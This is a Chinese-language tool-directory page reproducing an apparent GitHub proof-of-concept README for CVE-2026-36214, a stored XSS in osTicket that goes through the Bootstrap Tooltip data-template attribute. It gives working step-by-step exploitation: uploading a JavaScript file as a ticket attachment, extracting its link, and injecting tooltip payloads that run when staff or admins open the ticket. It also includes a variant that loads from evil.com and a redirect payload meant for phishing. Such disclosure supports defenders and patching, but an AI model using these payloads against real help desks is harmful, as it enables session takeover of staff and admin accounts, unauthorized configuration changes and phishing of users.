Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-36214 — osTicket 中通过易受攻击的 Bootstrap 工具提示组件实现的存储型跨站脚本(XSS) | Kitploit
工具/GitHubGitHub/weswrench/cve-2026-36214
钓鱼工具漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubweswrench/cve-2026-36214

CVE-2026-36214

osTicket 中通过易受攻击的 Bootstrap 工具提示组件实现的存储型跨站脚本(XSS)

查看仓库
162个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-36214 - osTicket 中通过易受攻击的 Bootstrap Tooltip 组件导致的存储型跨站脚本(XSS)

描述

Enhancesoft osTicket 版本从 1.10 到 1.17.7 以及从 1.18.0 到 1.18.3 均包含已知存在漏洞的 Bootstrap Tooltip 3.3.4 组件(CVE-2019-8331),这引入了存储型跨站脚本(XSS)漏洞。 在 osTicket 的默认配置中,工单提交者(“用户”)无需事先认证即可提交工单,且用户自助注册默认开启。远程用户可以构造恶意工单消息,尽管该消息通过了 htmlLawed HTML 净化模块的检查,仍会导致任何查看该工单的客服或管理员浏览器中执行任意 JavaScript。该问题由于用户上传的 JavaScript 文件以可执行 JavaScript 的内容类型(text/javascript)提供而进一步恶化,使得浏览器将其视为活动内容。虽然内联 Payload 受到 Bootstrap Tooltip 3.3.4 解析 data-template 值的方式(将其转换为 jQuery 对象并通过 appendTo() 或 insertAfter() 插入 DOM)的限制,但攻击者控制的代码作为外部脚本执行可以规避这些限制,从而实现对漏洞的更强大利用。

受影响版本

  • 已测试并确认存在漏洞:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • 受影响版本:

    • v1.10 - v1.17.8(不含)
    • v1.18 - v1.18.4(不含)

此组件自 2015 年 5 月 13 日 起就已存在于 osTicket 代码库中,如下所示:

  • 文件:scp/js/bootstrap-tooltip.js
  • 提交:e5a28410ae7c238932eef07c2b3568da015a792c

此提交与 自版本 1.10 起的 osTicket 发布标签相关联,表明易受攻击的 Bootstrap Tooltip 组件已被包含在多个主要版本的广泛 osTicket 版本中。这种长期包含强烈表明 多个年份发布的许多 osTicket 版本均受影响。


1. 概述

osTicket 是一个广泛使用的开源工单系统,允许最终用户在创建工单和回复时提交丰富的 HTML 内容及文件附件。

osTicket 定义了三种主要用户类别:

  • 管理员
    • 完全管理权限
    • 全局配置、用户、角色、插件
  • 客服
    • 工单操作权限
    • 可以查看、回复、转移、关闭工单
  • 用户(客户/最终用户)
    • 仅可访问客户门户
    • 可以创建和查看自己的工单

用户 提交的任何 HTML 内容随后都可能在 客服 或 管理员 的浏览器中呈现,这使得客户端漏洞尤其具有影响力。


2. 概念验证

首先,使用您的最终用户账户进行身份验证,然后前往工单创建页面。
然后创建一个包含 Payload 的 JavaScript 文件(例如:test.js)。例如:

root@kitploit:~
alert(123);

注意:默认情况下,osTicket 允许工单附件 无文件类型限制。

上传 JS 文件

随后,在未提供任何 “问题描述” 的情况下,点击 “创建工单” 提交工单。

应用程序会将我们重定向回工单提交表单,并显示错误 “问题描述为必填字段”。
此页面允许我们在无需实际提交工单的情况下,获取 JavaScript 文件(test.js)的下载链接。

获取我们上传的 JS 文件的直接链接

我们上传的 JS 文件的 Content-Type

一旦获取到该链接,返回工单提交表单。
点击 HTML 编辑器并粘贴以下 Payload,将 script 标签的 src 属性替换为之前获取的链接。

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

下面是一个完整 Payload 的示例,其中 [LINK_HERE] 模式已被替换为之前获取的链接:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

然后提交工单。

提交恶意 Payload

当管理员或客服查看我们的恶意工单时,Payload 被触发。

Payload 被触发

结果:
当管理员/客服打开恶意工单时,JavaScript Payload 被加载并在管理员/客服会话的上下文中执行。

这导致 存储型 XSS,允许完全会话接管(例如,通过 ezXSS、CSRF 执行管理员/客服操作)。


3. 影响

客服沦陷

如果恶意工单被 客服 查看,存储型 XSS 将在客服已认证会话的上下文中执行。

这使得攻击者能够有效 接管客服会话,而无需提取会话 Cookie(例如,即使在 Cookie 渗出不可行且使用盲 XSS 平台(如 ezXSS)的情况下)。XSS 运行后,攻击者可以执行 受陷客服有权执行的任何操作,例如:

  • 查阅该客服可访问的工单(通常包括帮助台的大部分工单)
  • 下载并查看工单附件
  • 回复工单并与用户交互
  • 转移、关闭或以其他方式更新工单状态
  • 添加内部备注(如允许)

这导致客服的操作能力以及工单工作流程的机密性/完整性完全沦陷。

管理员沦陷

如果恶意工单被 管理员 查看,影响会升级为完全应用沦陷。攻击者可以:

  • 接管管理员会话
  • 修改 全局配置(设置、权限等)
  • 通过更改关键配置值触发 拒绝服务
  • 修改管理“页面”/模板,实现应用 UI 的 全局篡改 和钓鱼
  • 创建新的 客服 和/或 管理员 账户以建立持久化控制

关于受限文件上传和内容安全策略的说明

尽管 osTicket 的默认配置允许 JavaScript 文件上传,但 osTicket 可以在管理面板中配置为不允许最终用户上传 JavaScript 文件。

此外,客服和管理员使用的员工控制面板强制执行内容安全策略(CSP),阻止来自第三方域名的 JavaScript 执行。
以下 Payload 为例:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

下面的截图显示,从 https://evil.com 加载脚本已被员工控制面板强制执行的内容安全策略阻止。

Payload 被 CSP 阻止

然而,应用程序实施的内容安全策略允许内联 JavaScript。

客服/管理面板上的 CSP

在 JavaScript 文件上传被阻止的情况下,攻击者仍然可能执行恶意操作。考虑以下 Payload:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Base64 Payload 解码后为:

root@kitploit:~
<script>top.location = "https://example.com";</script>

此 Payload 允许攻击者将查看恶意工单的客服或管理员重定向到任意网站,例如钓鱼网站。

查看包含上述 Payload 的工单后的结果如下。 重定向到任意网站

下载工具